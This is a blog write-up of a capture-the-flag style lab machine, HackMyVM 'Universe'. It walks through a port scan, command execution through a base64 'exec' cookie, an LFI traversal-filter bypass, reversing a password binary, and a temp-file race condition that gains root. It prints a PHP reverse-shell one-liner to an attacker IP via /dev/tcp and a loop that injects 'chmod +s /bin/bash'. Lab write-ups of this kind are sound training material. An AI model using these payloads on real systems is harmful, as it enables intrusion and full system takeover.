banner
言心吾

言心吾のBlog

吾言为心声

HackMyVM ユニバース ターゲット場の復盤

概要#

難易度:困難

靶場地址:https://hackmyvm.eu/machines/machine.php?vm=Universe

初期アクセス#

簡単にスキャン

# Nmap 7.95 scan initiated Wed Jul  2 22:48:57 2025 as: /usr/lib/nmap/nmap -sC -sV -p21,22,1212 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.144
Nmap scan report for 192.168.56.144
Host is up (0.0032s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_  256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
| http-title: Universe
|_Requested resource was /?user=920
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

21 ポートは匿名ログインできない

1212 ポートは http で、nmap スキャン結果から user パラメータがあることがわかる

image

適当にアクセスすると user がランダムに変動することがわかる

直接 fuzz 大法を使って、ウェブページをすべてダウンロードしてみる

for i in {1..1000};do wget http://192.168.56.144:1212?user=$i;done

最後に 9 が成功した

image

また、wfuzz も試したが成功しなかった。しかし理論的には fuzz ツールは確実に機能するはずなので、ここは皆さんに試してもらいましょう~

wfuzz -c -z range,1-1000 --follow "http://192.168.56.144:1212?user=FUZZ"

image

ウェブページの表示によると、cookie を渡す必要があるようだが、exec に直接値を渡すとエラーが出る

そこで base64 にエンコードして、コマンドを正常に実行できるようにする(ここは考えにくいが、靶機には何のヒントもない)

私は wget rev.sh を使い、その後 bash rev.sh の方法を用いた

image

image

最後に問題のソースコードを添付します:

from flask import Flask, render_template, request, make_response, redirect, url_for
import subprocess
import base64
import random

app = Flask(__name__)

user_id_range = range(1, 1001)

@app.errorhandler(404)
def page_not_found(e):
    return redirect(url_for('index', user=random.choice(user_id_range)))

@app.route('/')
def index():
    try:
        user_id = int(request.args.get('user', -1))
    except ValueError:
        return redirect(url_for('index', user=random.choice(user_id_range)))

    if not isinstance(user_id, int) or user_id not in user_id_range:
        user_id = random.choice(user_id_range)
        return redirect(url_for('index', user=user_id))

    if user_id == 9:
        encoded_command = request.cookies.get('exec', '')
        if encoded_command:
            try:
                command = base64.b64decode(encoded_command).decode()
                result = subprocess.check_output(command, shell=True).decode()
                return render_template('universe.html', result=result)
            except Exception as e:
                return render_template('universe.html', result="Invalid cookie value"), 500
        else:
            return render_template('universe.html', result="Missing 'exec' cookie")

    return render_template('index.html', user_id=user_id), 403

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=1212)

権限昇格#

ポート転送#

ss -plntuでローカルでしかアクセスできない 8080 ポートがあることがわかる

そこでポートを転送することにし、socat を使うこともできるが、私は ssh リモートポート転送の方が適用性が広いので好む

ssh -R 18080:127.0.0.1:8080 -CNfg [email protected]

これで直接アクセスできるようになる

LFI#

ページには明らかに LFI が存在するが、制限があり、いくつかのバイパスを試した後、二重書き込みバイパスができることがわかった。…//…//…// を使って上位ディレクトリに戻る

image

忘れずにシェルを持っているので、まず tmp ディレクトリに php のリバースシェルを作成し、それを含める

<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.10/4444 0>&1'");?>

http://127.0.0.1:18080/?file=..././..././....//tmp/shell.phpにアクセスすれば void ユーザーのシェルを取得できる
image

同様にソースコードも添付します:

<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Void</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            background-color: #fffff;
        }

        header {
            background-color: #222529;
            padding: 10px;
            color: white;
            text-align: center;
        }

        nav {
            background-color: #444;
            padding: 10px;
            text-align: center;
        }

        nav a {
            color: white;
            text-decoration: none;
            margin: 0 10px;
        }

        .container {
            padding: 20px;
        }
    </style>
</head>
<body>

<header>
    <h1>Void</h1>
</header>

<nav>
    <a href="?file=love.php">Love</a>
    <a href="?file=shine.php">Shine</a>
    <a href="?file=sadness.php">Sadness</a>
</nav>

<div class="container">
    <?php
    if (isset($_GET['file'])) {
        $file = str_replace("../", '', $_GET['file']);
        $path = "/home/void/web-void/$file";

        if ($file === 'shine.php') {
            echo '<p>宇宙の星のように、あなたの内なる光は独自の美しさと比類のない目的を持って輝いています。今この瞬間や他のどの瞬間においても「虚無」を感じるかもしれませんが、宇宙の無限のキャンバスの中で、すべての星にはその場所があり、あなたは人生の星座の中で貴重な星です。あなたの存在は、想像もできない方法で世界を照らしています。あなたはまだ進むことができます。</p>';
        } elseif (file_exists($path)) {
            include($path);
        } else {
            echo '<p>工事中</p>';
        }
    }
    ?>
</div>

</body>
</html>

Quasar 逆向#

sudo -l で開始

image

image

Quasar の他にも、このディレクトリには print.sh スクリプトがある

void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"

まず Quasar を取り外して具体的に見てみる

image

プログラムは password が正しいかどうかを確認し、print.sh を実行する

今昔異なり、直接 ida+mcp 自動化逆向で完了です~

image

## プログラム機能分析

### プログラム概要
これは「universe」という名前のパスワード検証プログラムで、主な機能は:
1. コマンドライン引数としてパスワードを受け取る
2. 数学的演算に基づいてキーを生成する
3. 入力されたパスワードと生成されたキーのSHA256ハッシュを比較する
4. 検証が通ればシェルスクリプトを実行する

### 詳細機能分析

#### 1. 主関数(main - 0x14f2)
- コマンドライン引数の数を確認し、2つ(プログラム名 + パスワード)でなければならない
- 引数が正しくない場合、使用説明を出力する:"Uso: ./Quasar <password>"
- パスワード検証のために3つの重要な関数を呼び出す

#### 2. キー生成関数(sub_1219)
この関数は複雑な数学演算を通じて10文字のキーを生成する:
- 二重ループを使用(外側0-9、内側0-4)
- 各イテレーションで以下の数学演算を行う:
  - `sin(π * n9/3 + n4)` の平方
  - `log(n9 + n4 + 3)` を前述の結果で掛ける
  - `exp(sqrt(n9 + n4 + 1))` を前の結果に加える
  - `tgamma(n9 + n4 + 1)` ガンマ関数計算
- 最終的に計算結果を文字に変換して保存する

#### 3. SHA256ハッシュ関数(sub_1414)
- 入力された10バイトデータにSHA256ハッシュを適用する
- 32バイトのハッシュ結果を64文字の16進数文字列に変換する
- OpenSSLのSHA256関数(SHA256_Init, SHA256_Update, SHA256_Final)を使用する

#### 4. 検証ロジック
- 数学的キーを生成し、そのSHA256ハッシュ値を計算する
- ユーザーが入力したパスワードのSHA256ハッシュ値を計算する
- 2つのハッシュ値が同じかどうかを比較する
- 同じであれば`/scripts/print.sh`スクリプトを実行する
- 異なれば「Error!」を出力する

### セキュリティ機能
- スタック保護(stack canary)が使用されている
- パスワード検証は複雑な数学演算に基づいており、直接逆向きにするのが難しい
- 標準のSHA256ハッシュアルゴリズムを使用して比較する

演算ロジックの再現#

逆コンパイルされたコードから、キー生成の数学演算は決定的であることがわかる。Python スクリプトを使って再現できる:

import math

def generate_key():
    s1 = ""
    
    for n9 in range(10):  # 0 から 9
        v10 = 0.0
        
        for n4 in range(5):  # 0 から 4
            # sin(π * n9/3 + n4)^2
            x = math.sin(math.pi * n9 / 3.0 + n4)
            v5 = x ** 2
            
            # log(n9 + n4 + 3) * v5
            v6 = math.log(n9 + n4 + 3) * v5
            
            # exp(sqrt(n9 + n4 + 1)) + v6
            x_1 = math.sqrt(n9 + n4 + 1)
            v7 = math.exp(x_1) + v6
            
            # tgamma関数処理
            v3 = n9 + n4 + 1
            if (n9 + n4) < 0xFFFFFFFE and (n9 + n4) != 0:
                v3 = 0
            
            # tgamma(n9 + n4 + 1) * v3 + v7 + v10
            v10 = math.gamma(n9 + n4 + 1) * v3 + v7 + v10
        
        # 文字に変換
        char_val = int(100.0 * v10) % 10 + 48  # 48 は '0' のASCII
        s1 += chr(char_val)
    
    return s1

# キーを生成
key = generate_key()
print(f"Generated key: {key}")

# SHA256ハッシュを計算
import hashlib
hash_value = hashlib.sha256(key.encode()).hexdigest()
print(f"SHA256 hash: {hash_value}")

image

image

パスワードは 9740252204 です

書き込み競争#

print.sh スクリプトの内容は以下の通り:

#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
( 
    umask 110
    /usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
/usr/bin/rm "$tmp_file"

このスクリプトは以下の操作を実行します:

  1. /tmpディレクトリにread-で始まる一時ファイルを作成するためにmktempコマンドを使用します。ファイル名の後には 5 つのランダムな文字が続きます。
  2. サブシェル(() で囲まれた部分)内で、まずumaskコマンドを使用してファイル作成マスクを110に設定します。これは新しく作成されたファイルが 556 の権限を持つことを意味します。
  3. メインシェルに戻り、文字列 test を一時ファイルに書き込みます。
  4. catコマンドを使用して一時ファイルの内容を読み取り、変数dataに格納します。
  5. 最後に、evalコマンドを使用してdata変数内の内容を実行し、一時ファイルを削除します。

スクリプト内では、コマンドは逐次実行されるため、eval が実行される前に時間的な間隔が存在します。この間隔内に一時ファイルの内容を上書きできれば、任意のコマンドを注入して実行できます。

別のターミナルを開き、次のコマンドを実行します

while :; do a=$(ls /tmp/read-* 2>/dev/null | head -n 1); if [ -n "$a" ]; then echo 'chmod +s /bin/bash' > "$a"; fi; done

原理は非常にシンプルで、死ループを使って tmp 下の一時ファイルを常に監視し(ワイルドカードを組み合わせて)、存在する場合はその中に特権昇格コマンドを書き込むというものです。

最後に競争に成功し、root 権限を取得しました!
image

image

後記#

Universe 靶機は非常によく設計されており、非常に包括的な靶機です。「困難」とマークされていますが、全体的な難易度は特に高くないと思います。攻撃プロセスは比較的スムーズで、一歩ずつ進めば問題ありません。exec の部分で base エンコードが必要な点を除けば、他に特に難しい点はありません。特に最後の権限昇格段階では、print.shスクリプトの競争条件脆弱性が非常に巧妙に設計されており、全体の挑戦にさらなる魅力を加えています。総じて、非常に試す価値のある包括的な靶機です!

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。